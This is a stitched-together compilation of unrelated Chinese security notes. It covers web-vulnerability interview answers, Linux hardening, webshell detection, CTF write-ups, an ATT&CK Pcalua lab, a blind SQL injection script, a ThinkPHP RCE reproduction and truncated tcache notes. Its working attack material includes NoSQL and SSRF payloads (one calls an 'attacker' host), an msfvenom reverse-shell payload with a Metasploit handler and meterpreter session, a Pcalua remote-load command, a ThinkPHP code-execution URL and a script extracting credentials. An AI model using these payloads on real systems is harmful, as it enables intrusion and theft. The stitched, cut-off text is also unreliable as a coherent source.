非关系型数据库的产生是因为随着网站的进化,并发性增加,扩展性高,一致性要求降低。这样关系型数据库最重要的一致性维护就显得有点多余,并且消耗着性能。因此有了非关系型数据库,它可以算是关系型数据库的一种弱化的结果,在海量数据存储和查询上更胜一筹。
两种数据库没有好坏之分,只是使用的环境不一样。关系型数据库可以说是更严谨的,可靠性更强的数据库,在对于数据精度要求高的环境,比如说银行系统这样自然是像mysql这样的数据库适合。非关系型数据库胜在处理大数据的速度,但是对于数据的准确度没有那么高,对于操作量大的环境比如当前大部分web2.0的网站更加适用一些。
#### MongoDB注入方式
利用正则:找到y开头的name `db.items.find({name: {$regex: "^y"}})`
一些payload
1. `?login[$regex]=^&password[$regex]=^`
2. `?login[$not][$type]=1&password[$not][$type]=1`
## XSS CSRF XXE
### CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
> xss学习 https://www.secpulse.com/?s=+%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E4%B8%80%E8%B5%B7%E5%AD%A6XSS+
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer.
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。
### CSRF、SSRF和重放攻击有什么区别?
- CSRF是跨站请求伪造攻击,由客户端发起
- SSRF是服务器端请求伪造,由服务器发起
- 重放攻击是将截获的数据包进行重放,达到身份认证等目的
### 啥是同源策略,跨域有几种方式?
> http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html
浏览器安全的基石是"同源政策",目的是为了保证用户的信息安全,防止恶意网站窃取数据,避免cookie共享。同源含义是协议、域名、端口相同的两个网页才可以共用cookie。目前如果非同源,有三种行为收到限制:
- Cookie、LocalStorage 和 IndexDB 无法读取。
- DOM 无法获得。
- AJAX 请求不能发送
### 如何规避同源策略?
#### JSONP
向服务器请求json数据回调,一般请求URL会加上`&callback=xx`
```bash
foo({
"ip": "8.8.8.8"
});
```
由于`<script>`元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用。作为参数的JSON数据被视为JavaScript对象,而不是字符串,因此避免了使用JSON.parse的步骤。
##### JSONP的劫持
> http://blog.knownsec.com/2015/03/jsonp_security_technic/
防御:
1. 验证 JSON 文件调用的来源( Referer ),但是Referer 过滤(正则)不严谨、空 Referer也不行
2. 随机token
3.
#### WebSocket
WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。
#### CORS(重点)
> http://www.ruanyifeng.com/blog/2016/04/cors.html
CORS是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是W3C标准,是跨源AJAX请求的根本解决方法。相比JSONP只能发GET请求,CORS允许任何类型的请求。
CORS请求大致和ajax请求,但是在头信息中加上了Origin字段表明请求来自哪个源。如果orgin是许可范围之内的话,服务器返回的响应会多出`Acess-Control-Allow-*`的字段
##### 与JSONP的比较
CORS与JSONP的使用目的相同,但是比JSONP更强大。
JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。
### DOM XSS与反射XSS有啥不同,给你10s,如何快速判断一个XSS是否是DOM XSS?
> https://www.zhihu.com/question/26628342
存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;
反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;
DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;
### CSP策略
> https://www.zhihu.com/question/21979782
浏览器内容安全策略,减少xss攻击。
### SSRF漏洞原理是什么?利用时有哪些伪协议?
> secpulse.com/archives/65832.html
#### 漏洞原理
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。
#### ssrf用处
1. 探测内网信息,用协议探`ftp%26ip={ip}%26port={port}`
2. 攻击内网或本地其他服务
3. 穿透防火墙
#### 漏洞处
1. 能够对外发起网络请求的地方
2. 请求远程服务器资源的地方
3. 数据库内置功能
4. 邮件系统
5. 文件处理
6. 在线处理工具
举几个例子:
1. 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
2. 根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。
3. 数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。
4. 邮件系统就是接收邮件服务器地址这些地方。
5. 文件就找ImageMagick,xml这些。
6. 从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。
#### 绕过姿势
1. `http://example.com@127.0.0.1`
2. 利用IP地址的省略写法绕过,[::]绕过localhost
3. DNS解析 http://127.0.0.1.xip.io/ 可以指向任意ip的域名:xip.io
4. 利用八进制IP地址绕过,利用十六进制IP地址,绕过利用十进制的IP地址绕过
#### 利用协议
> https://www.secpulse.com/archives/70471.html
接受ua为curl的时候,支持的协议有
使用`curl -v http://xx.com/ssrf.php?url=sxxx`
```
file://
ssrf.php?url=file:///etc/password
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
```
#### 漏洞修复
> https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
1. 检查是否为内网IP地址
绕过方法:
利用八进制IP地址绕过
利用十六进制IP地址绕过
利用十进制的IP地址绕过
利用IP地址的省略写法绕过
最好的做法:IP地址转换为整数再进行判断
2. 获取真正请求的host
1. 如何正确的获取用户输入的URL的Host?
最常见的就是,使用http://233.233.233.233@10.0.0.1:8080/、http://10.0.0.1#233.233.233.233这样的URL,让后端认为其Host是233.233.233.233,实际上请求的却是10.0.0.1。这种方法利用的是程序员对URL解析的错误,有很多程序员甚至会用正则去解析URL。使用urllib.parse可以解析真正的hostname
2. 只要Host只要不是内网IP即可吗?
host可能为ip,可能为域名,利用xip.io绕过。方法:判断是否为http协议,获取url的host,再解析该host,将解析到的ip再进行检查
3. 只要Host指向的IP不是内网IP即可吗?
不一定,可能会30x跳转
归纳
解析目标URL,获取其Host
解析Host,获取Host指向的IP地址
检查IP地址是否为内网IP
请求URL
如果有跳转,拿出跳转URL,执行1
### 在浏览器端,Referer可以篡改吗?
通过插件修改,一般抓包修改
### xss盲打到内网服务器的利用
### xss代码层防御
## 文件上传下载遍历漏洞
### 原理
1. 容器漏洞,解析漏洞
### 修复方案
## 文件包含漏洞
> https://blog.csdn.net/fuckcat_2333/article/details/52132559
### 类型
1. 本地文件包含
2. 远程文件包含 :即加载远程文件,在`php.ini`中开启`allow_url_include`、`allow_url_fopen`选项。开启后可以直接执行任意代码。
### PHP文件包含函数
1. `include()` :使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
2. ` inclue_once()` :功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
3. `require()`:使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。
4. ` require_once()` :功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
### 利用
1. 读取敏感文件
2. 远程包含shell
3. 图片上传并包含图片shenll
4. 使用伪协议
5. 包含日志文件GetShell
6. 截断包含
### 修复方案
1. 禁止远程文件包含 `allow_url_include=off`
2. 配置 `open_basedir=指定目录`,限制访问区域。
3. 过滤`../`等特殊符号
4. 修改Apache日志文件的存放地址
5. 开启魔术引号 `magic_quotes_qpc=on`
6. 尽量不要使用动态变量调用文件,直接写要包含的文件。
## web框架漏洞弱点
### 服务端注入之Flask框架中服务端模板注入问题
> http://www.freebuf.com/articles/web/135953.html
## HTTP协议
### TCP三次握手四次挥手
#### 三次握手
1. 客户端 syn 发送到服务端,变成 SYN_SENT 状态
2. 服务端 ack=syn+1 回传syn到客户端,变成SYN_RECV状态
3. 客户端 ack=syn+1, 变成ESTABLISHED状态,传输给服务端
4. 服务端收到ACK后变成ESTABLISHED状态,建立连接
SYN标志位为表示请求连接,ACK表示确认
#### 四次挥手
客户端=主动关闭方
1. 客户端FIN->服务端
2. 服务端ACK=FIN+1->客户端,服务端到客户端的连接关闭
3. 服务端FIN->客户端
3. 客户端ACK=FIN+1->服务端
假设Client端发起中断连接请求,也就是发送FIN报文。Server端接到FIN报文后,意思是说"我Client端没有数据要发给你了",但是如果你还有数据没有发送完成,则不必急着关闭Socket,可以继续发送数据。所以你先发送ACK,"告诉Client端,你的请求我收到了,但是我还没准备好,请继续你等我的消息"。这个时候Client端就进入FIN_WAIT状态,继续等待Server端的FIN报文。当Server端确定数据已发送完成,则向Client端发送FIN报文,"告诉Client端,好了,我这边数据发完了,准备好关闭连接了"。Client端收到FIN报文后,"就知道可以关闭连接了,但是他还是不相信网络,怕Server端不知道要关闭,所以发送ACK后进入TIME_WAIT状态,如果Server端没有收到ACK则可以重传。“,Server端收到ACK后,"就知道可以断开连接了"。Client端等待了2MSL后依然没有收到回复,则证明Server端已正常关闭,那好,我Client端也可以关闭连接了。Ok,TCP连接就这样关闭了!
> MSL=最大段寿命=TTL=最大生存时间=255s
### 四层模型
1. 应用层
应用层对应于OSI参考模型的高层,为用户提供所需要的各种服务,例如:FTP、Telnet、DNS、SMTP等.
2. 传输层
传输层对应于OSI参考模型的传输层,为应用层实体提供端到端的通信功能,保证了数据包的顺序传送及数据的完整性。该层定义了两个主要的协议:传输控制协议(TCP)和用户数据报协议(UDP).
TCP协议提供的是一种可靠的、通过“三次握手”来连接的数据传输服务;而UDP协议提供的则是不保证可靠的(并不是不可靠)、无连接的数据传输服务.
3. 网际互联层
网际互联层对应于OSI参考模型的网络层,主要解决主机到主机的通信问题。它所包含的协议设计数据包在整个网络上的逻辑传输。注重重新赋予主机一个IP地址来完成对主机的寻址,它还负责数据包在多种网络中的路由。该层有三个主要协议:网际协议(IP)、互联网组管理协议(IGMP)和互联网控制报文协议(ICMP)。
IP协议是网际互联层最重要的协议,它提供的是一个可靠、无连接的数据报传递服务。
4. 网络接入层(即主机-网络层)
网络接入层与OSI参考模型中的物理层和数据链路层相对应。它负责监视数据在主机和网络之间的交换。事实上,TCP/IP本身并未定义该层的协议,而由参与互连的各网络使用自己的物理层和数据链路层协议,然后与TCP/IP的网络接入层进行连接。地址解析协议(ARP)工作在此层,即OSI参考模型的数据链路层。
### 当你输入一个网址,点击访问,会发生什么?
#### 查找DNS记录
1. 查看浏览器缓存
2. 查看系统缓存
3. 查看路由器缓存
4. 查找ISP DNS缓存
2. 递归搜索。根据网址,发送一个DNS请求,UDP请求,端口为543,会请求一个DNS服务器,DNS服务器会不断递归查找这个网址的IP
#### 建立连接
2. 跟获取到的IP建立TCP连接,在TCP连接上发送HTTP报文
3.
### 常见的状态码
### OSI七层
物理层、数据链路层、网络层、传输层(TCP,UDP)、会话层(RPC,SQL)、表示层(定义数据格式及加密)、应用层(TELNET,HTTP,FTP)
#### OSI四层
## 路由协议
### 你搭建过的最复杂的网络设备是什么
### 使用过什么硬件设备
## Linux运维
### 启动过程
### Linux基线规范
每个公司有每个公司的基线规范体系,但是答题分为下列五个方面
#### 账号管理和授权
- 检查特殊账号,是否存在空密码的账户和root权限账户
- 禁用或删除无用账号
- 添加口令策略:`/etc/login.defs`修改配置文件,设置过期时间、连续认证失败次数
- 禁止root远程登录,限制root用户直接登录。
- 检查su权限。`vi /etc/pam.d/su`添加`auth required pam_wheel.so group=test`
#### 服务
- 关闭不必要的服务
- SSH服务安全
- 不允许root账号直接登录系统,`PermitRootLogin=no`
- 修改SSH使用的协议版本为2
- 修改允许密码错误次数(默认6次),`MaxAuthTries=3`
#### 文件系统
- 设置umask值 `vi /etc/profile` 添加行 `umask 027`
- 设置登录超时 `vi /etc/profile` 修改配置文件,将以 `TMOUT=` 开头的行注释,设置为 `TMOUT=180`
#### 日志
- 启用syslogd日志,配置日志目录权限,或者设置日志服务器
- 记录所有用户的登录和操作日志,通过脚本代码实现记录所有用户的登录操作日志,防止出现安全事件后无据可查。https://www.alibabacloud.com/help/zh/faq-detail/49809.htm
#### IP协议安全要求
- 远程登录取消telnet采用ssh
- 设置/etc/hosts.allow和deny
- 禁止ICMP重定向
- 禁止源路由转发
- 防ssh破解,iptables(对已经建立的所有链接都放行,限制每分钟连接ssh的次数)+denyhost(添加ip拒绝访问)
### 中间件基线规范(APACHE)
> https://www.alibabacloud.com/help/zh/faq-detail/52981.htm
#### 配置
- 账号
- 授权
- 日志
- session过期时间(防ddos
- 绑定监听地址
#### 禁止
- 目录权限
- 访问外部文件
- CGI
- 非法HTTP方法(PUT DELETE)
#### 隐藏
- 服务版本号
- 重定向错误页面
#### 删除
- 配置文件
- 默认安装的无用文件
### webshell检测思路
> https://blog.csdn.net/u011066706/article/details/51175971
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。
黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件,是一个合法的TCP连接,TCP/IP的应用层之下没有任何特征,只能在应用层进行检测。黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。
#### 静态检测
静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell,并且误报率漏报率会比较高,但是如果规则完善,可以减低误报率,但是漏报率必定会有所提高。
优点是快速方便,对已知的webshell查找准确率高,部署方便,一个脚本就能搞定。缺点漏报率、误报率高,无法查找0day型webshell,而且容易被绕过。
静态检测配合人工
一个检查工具 https://github.com/he1m4n6a/findWebshell
#### 动态检测
Linux下就是nobody用户起了bash,Win下就是IIS User启动cmd,这些都是动态特征。再者如果黑客反向连接的话,那很更容易检测了,Agent和IDS都可以抓现行。Webshell总有一个HTTP请求,如果我在网络层监控HTTP,并且检测到有人访问了一个从没反问过得文件,而且返回了200,则很容易定位到webshell,这便是http异常模型检测,就和检测文件变化一样,如果非管理员新增文件,则说明被人入侵了。
缺点也很明显,黑客只要利用原文件就很轻易绕过了,并且部署代价高,网站时常更新的话规则也要不断添加。
#### 日志检测
使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。
#### 语法检测
实现关键危险函数的捕捉方式
#### 统计学检测
webshell由于往往经过了编码和加密,会表现出一些特别的统计特征,根据这些特征统计学习。
典型的代表: NeoPI -- https://github.com/Neohapsis/NeoPI
#### 防范webshell
> https://blog.csdn.net/nohaoye/article/details/46987587
防范的措施大概有三种,第一种的思路是将专门存放上传文件的文件夹里面的脚本类型文件,解析成其他类型的文件,服务器不会以脚本类型来执行它。第二种是匹配文件夹里的脚本类型文件,将其设置为无法读取及操作。第三种是将文件上传到一个单独的文件夹,给一个二级的域名,然后不给这个虚拟站点解析脚本的权限,听说很多网站都用这种方式。
### 计划任务
> https://blog.csdn.net/kx_nullpointer/article/details/21299873
1. `at`
2. `batch`
3. `crontab`
4. `anacron`:检测停机期间应该执行但是没有执行的任务,将检测到的任务检测一次
### 自动化运维编写过什么脚本
### yum用的什么源(本地自搭,挂载)
### awk sed的使用
### 排错思路,排错经验
网络 防火墙 配置 权限
### 日志分析ELK的使用和分析
> https://www.zhihu.com/question/21427267
- Elasticsearch是个开源分布式搜索引擎,它的特点有:分布式,零配置,自动发现,索引自动分片,索引副本机制,restful风格接口,多数据源,自动搜索负载等。
- Logstash是一个完全开源的工具,他可以对你的日志进行收集、过滤,并将其存储供以后使用(如,搜索)。
- Kibana 也是一个开源和免费的工具,它Kibana可以为 Logstash 和 ElasticSearch 提供的日志分析友好的 Web 界面,可以帮助您汇总、分析和搜索重要数据日志。
举例-阿里规范
用户历史命令记录
缺点:安全性不够。使用x-pack实现安全认证及权限管理功能
#### 事件发生的分析
### 用户权限管理(修改)
### 防火墙
### IPsec VPN
### 安全监控工具
- web进入->堡垒机->内部防御HIDS->内部监控,日志审计
- zabbix性能监控工具
- HIDS
### Linux木马查杀
### 常见的设备有啥
- 防火墙 utm 负载均衡设备
- IPS IDS(HIDS基于主机型入侵检测系统)
- 堡垒机
- 蜜罐
- 网闸
- waf
- 扫描器
- soc(ossim开源安全信息管理系统)
## Windows运维
### 基线规范
### 木马查杀
脱壳,反汇编
### 计划任务
1. 控制面板-管理工具-计划任务,在“任务计划程序库”上右键--创建基本任务
2. `schtasks`命令
语法:
`schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/scomputer [/u [domain]user /p password]] [/ru {[Domain]User | "System"} [/rpPassword]] /?`
## ISO27000和等保(重点等保)
### 说一下ISO27000
ISO27000是国际知名的信息安全管理体系标准,适用于整个企业,不仅仅是IT部门,还包括业务部门、财务、人事等部门。引入信息安全管理体系就可以协调各个方面信息管理,从而使管理更为有效。保证信息安全不是仅有一个防火墙,或找一个24小时提供信息安全服务的公司就可以达到的。它需要全面的综合管理。
PDCA(plan do check action)管理循环
### 说一下等级保护制度
《信息安全等级保护管理办法》是为规范信息安全等级保护管理,提高信息安全保障能力和水平,维护国家安全、社会稳定和公共利益,保障和促进信息化建设,根据《中华人民共和国计算机信息系统安全保护条例》等有关法律法规而制定的办法。
### 差异
> 浅谈信息安全等级保护与ISO27000系列标准的异同 ISSN 1009-3044
等保是以国家安全、社会秩序和公共利益为出发点,构建国家的安全保障体系。27000系列是以保证组织业务的连续性,缩减业务风险,最大化投资收益为目的,保证组织的业务安全
### 共性
## 算法
### 排序算法:快排 二分 冒泡
## LDAP注入
> http://www.4hou.com/technology/9090.html
> https://blog.csdn.net/quiet_girl/article/details/50716312
|
sec-knowleage
|
# Wireshark doo dooo do doo...
Category: Forensics, 50 points
## Description
> Can you find the flag?
A network capture was attached.
## Solution
We get a network capture with mainly HTTP traffic:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_doo_dooo_do_doo]
└─$ tshark -qz io,phs -r shark1.pcapng
===================================================================
Protocol Hierarchy Statistics
Filter:
eth frames:987 bytes:1524814
ip frames:985 bytes:1524716
tcp frames:985 bytes:1524716
http frames:288 bytes:1158734
tcp.segments frames:142 bytes:1078777
mime_multipart frames:142 bytes:78526
tcp.segments frames:142 bytes:78526
data-text-lines frames:2 bytes:695
tls frames:43 bytes:75441
tcp.segments frames:2 bytes:6576
arp frames:2 bytes:98
===================================================================
```
Scanning through the streams, we see this at stream #5:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_doo_dooo_do_doo]
└─$ tshark -r shark1.pcapng -qz follow,tcp,ascii,5
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 5
Node 0: 192.168.38.104:64093
Node 1: 18.222.37.134:80
447
GET / HTTP/1.1
Host: 18.222.37.134
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
330
HTTP/1.1 200 OK
Date: Mon, 10 Aug 2020 01:51:45 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Fri, 07 Aug 2020 00:45:02 GMT
ETag: "2f-5ac3eea4fcf01"
Accept-Ranges: bytes
Content-Length: 47
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}
===================================================================
```
Looks like a simple encryption of the flag. Perhaps ROT13?
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_doo_dooo_do_doo]
└─$ node
> const chef = require("/home/user/utils/CyberChef/");
undefined
> chef.ROT13("Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}");
The flag is picoCTF{p33kab00_1_s33_u_deadbeef}
```
The flag: `picoCTF{p33kab00_1_s33_u_deadbeef}`
|
sec-knowleage
|
#!/usr/bin/env python
def supa_encryption(s1, s2):
res = [chr(0)]*24
for i in range(len(res)):
q = ord(s1[i])
d = ord(s2[i])
k = q ^ d
res[i] = chr(k)
res = ''.join(res)
return res
def add_pad(msg):
L = 24 - len(msg)%24
msg += chr(L)*L
return msg
with open('fullhd.png','rb') as f:
data = f.read()
data = add_pad(data)
with open('key.txt') as f:
key = f.read()
enc_data = ''
for i in range(0, len(data), 24):
enc = supa_encryption(data[i:i+24], key)
enc_data += enc
with open('BITSCTFfullhd.png', 'wb') as f:
f.write(enc_data)
|
sec-knowleage
|
# T1202-win-间接命令执行-基于Pcalua执行payload(白名单)
## 来自ATT&CK的描述
可以使用各种Windows实用程序来执行命令,而不需要调用cmd。例如,Forfiles、程序兼容性助手(pcalua.exe)、WSL(WindowsSubsystem for Linux)组件以及其他实用程序可以从命令行界面、运行窗口或通过脚本来调用程序和命令的执行。
攻击者可能会滥用这些功能来规避防御,尤其是在破坏检测和/或缓解控制(如组策略)的同时执行任意动作。(这些控制限制/阻止了cmd或恶意负载相关文件扩展名的使用。)
## 测试案例
Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。
说明:Pcalua.exe所在路径已被系统添加PATH环境变量中,因此,Pcalua命令可识别
Windows 7 默认位置:
C:\Windows\System32\pcalua.exe
补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。
## 检测日志
windows 安全日志(需要自行配置)
## 测试复现
### 环境准备
攻击机:Kali2019
靶机:win7
### 攻击分析
#### 生成payload
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=6666 -f exe > shell.exe
```
#### MSF配置
```bash
msf5 exploit(multi/handler) > back
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.126.146
lhost => 192.168.126.146
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > exploit
```
#### 靶机执行payload
```cmd
Pcalua -m -a \\192.168.1.119\share\shell.exe #可远程加载
Pcalua -m -a C:\Users\12306Br0\Desktop\a\shell.exe #可本地加载
```
#### 反弹shell
```bash
Msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.126.146:6666
[*] Sending stage (180291 bytes) to 192.168.126.149
[*] Meterpreter session 4 opened (192.168.126.146:6666 -> 192.168.126.149:49163) at 2020-04-19 00:12:39 +0800
meterpreter > getuid
Server username: 12306Br0-PC\12306Br0
meterpreter > getpid
Current pid: 2804
```
## 测试留痕
```log
#sysmon日志
EventID: 1
Process Create:
RuleName:
UtcTime: 2020-04-18 16:12:37.744
ProcessGuid: {bb1f7c32-26f5-5e9b-0000-001075120e00}
ProcessId: 2148
Image: C:\Windows\System32\pcalua.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Program Compatibility Assistant
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName:
CommandLine: Pcalua -m -a C:\Users\12306Br0\Desktop\a\shell.exe
CurrentDirectory: C:\Users\12306Br0\
User: 12306Br0-PC\12306Br0
LogonGuid: {bb1f7c32-25f5-5e9b-0000-0020db6d0600}
LogonId: 0x66ddb
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=280038828C2412F3867DDB22E07759CB26F7D8EA
ParentProcessGuid: {bb1f7c32-26ca-5e9b-0000-00109cdf0d00}
ParentProcessId: 2724
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
EventID: 1
Process Create:
RuleName:
UtcTime: 2020-04-18 16:12:37.775
ProcessGuid: {bb1f7c32-26f5-5e9b-0000-0010621a0e00}
ProcessId: 2804
Image: C:\Users\12306Br0\Desktop\a\shell.exe
FileVersion: 2.2.14
Description: ApacheBench command line utility
Product: Apache HTTP Server
Company: Apache Software Foundation
OriginalFileName: ab.exe
CommandLine: "C:\Users\12306Br0\Desktop\a\shell.exe"
CurrentDirectory: C:\Users\12306Br0\
User: 12306Br0-PC\12306Br0
LogonGuid: {bb1f7c32-25f5-5e9b-0000-0020db6d0600}
LogonId: 0x66ddb
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=C11C194CA5D0570F1BC85BB012F145BAFC9A4D6C
ParentProcessGuid: {bb1f7c32-26f5-5e9b-0000-001075120e00}
ParentProcessId: 2148
ParentImage: C:\Windows\System32\pcalua.exe
ParentCommandLine: Pcalua -m -a C:\Users\12306Br0\Desktop\a\shell.exe
#win7安全日志
EventID:4688
进程信息:
新进程 ID: 0x864
新进程名: C:\Windows\System32\pcalua.exe
EventID:4688
进程信息:
新进程 ID: 0xaf4
新进程名: C:\Users\12306Br0\Desktop\a\shell.exe
EventID:5156
应用程序信息:
进程 ID: 2804
应用程序名称: \device\harddiskvolume2\users\12306br0\desktop\a\shell.exe
网络信息:
方向: 出站
源地址: 192.168.126.149
源端口: 49163
目标地址: 192.168.126.146
目标端口: 6666
```
## 检测规则/思路
无具体检测。监控和分析基于主机的检测机制(如Sysmon)中的日志来查看事件,比如查看是否有进程创建事件(创建过程中使用了参数来调用程序/命令/文件和/或生成子进程/网络连接,或者该创建是由这些参数导致的)。
## 参考推荐
MITRE-ATT&CK-T1202
<https://attack.mitre.org/techniques/T1202/>
渗透测试-基于白名单执行payload--Pcalua
<https://blog.csdn.net/qq_17204441/article/details/89881795>
|
sec-knowleage
|
import requests, string
def sql(user, password):
print password
r=requests.post("http://tonnerre.pwning.xxx:8560/login.php",
data={"username":user,"password":password})
res=r.text
print res
if res.find("unsuccessful")>-1:
return False
return True
def check_user(prefix):
return sql("abcdef",
"' union select user from users where user like '"+
prefix+"%' # ")
def check_user_password(user, prefix):
return sql("abcdef",
"' union select user from users where user='"+user+"' and salt like '"+
prefix+"%' # ")
def check_user_pass(user, prefix):
return sql("abcdef",
"' union select user from users where user='"+user+"' and pass like '"+
prefix+"%' # ")
def check_user_verifier(user, prefix):
return sql("abcdef",
"' union select user from users where user='"+user+"' and verifier like '"+
prefix+"%' # ")
users=[]
def dfs(prefix):
ok=False
for c in string.lowercase+"_":
pref=prefix+c
if check_user(pref):
dfs(pref)
ok=True
if not ok:
users.append(prefix)
# dfs("")
user="get_flag"
def dfs2(prefix):
ok=False
for c in "abcdef0123456789":
pref=prefix+c
if check_user_password(user, pref):
dfs2(pref)
ok=True
if not ok:
print prefix
# dfs2("")
def dfs3(prefix):
ok=False
for c in "abcdef0123456789":
pref=prefix+c
if check_user_verifier(user, pref):
dfs3(pref)
ok=True
if not ok:
print prefix
def dfs4(prefix):
ok=False
for c in string.lowercase+string.digits:
pref=prefix+c
if check_user_pass(user, pref):
dfs4(pref)
ok=True
if not ok:
print prefix
dfs4("")
|
sec-knowleage
|
# ThinkPHP 2.x 任意代码执行漏洞
ThinkPHP 2.x版本中,使用`preg_replace`的`/e`模式匹配路由:
```php
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
```
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
## 环境搭建
执行如下命令启动ThinkPHP 2.1的Demo应用:
```bash
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/Index/Index`即可查看到默认页面。
## 漏洞复现
直接访问`http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D`即可执行`phpinfo()`:

|
sec-knowleage
|
# tcache
tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术(see [commit](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc)),目的是提升堆管理的性能。但提升性能的同时舍弃了很多安全检查,也因此有了很多新的利用方式。
> 主要参考了 glibc 源码,angelboy 的 slide 以及 tukan.farm,链接都放在最后了。
## 相关结构体
tcache 引入了两个新的结构体,`tcache_entry` 和 `tcache_perthread_struct`。
这其实和 fastbin 很像,但又不一样。
### tcache_entry
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_entry)
```C
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
```
`tcache_entry` 用于链接空闲的 chunk 结构体,其中的 `next` 指针指向下一个大小相同的 chunk。
需要注意的是这里的 next 指向 chunk 的 user data,而 fastbin 的 fd 指向 chunk 开头的地址。
而且,tcache_entry 会复用空闲 chunk 的 user data 部分。
### tcache_perthread_struct
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_perthread_struct)
```C
/* There is one of these for each thread, which contains the
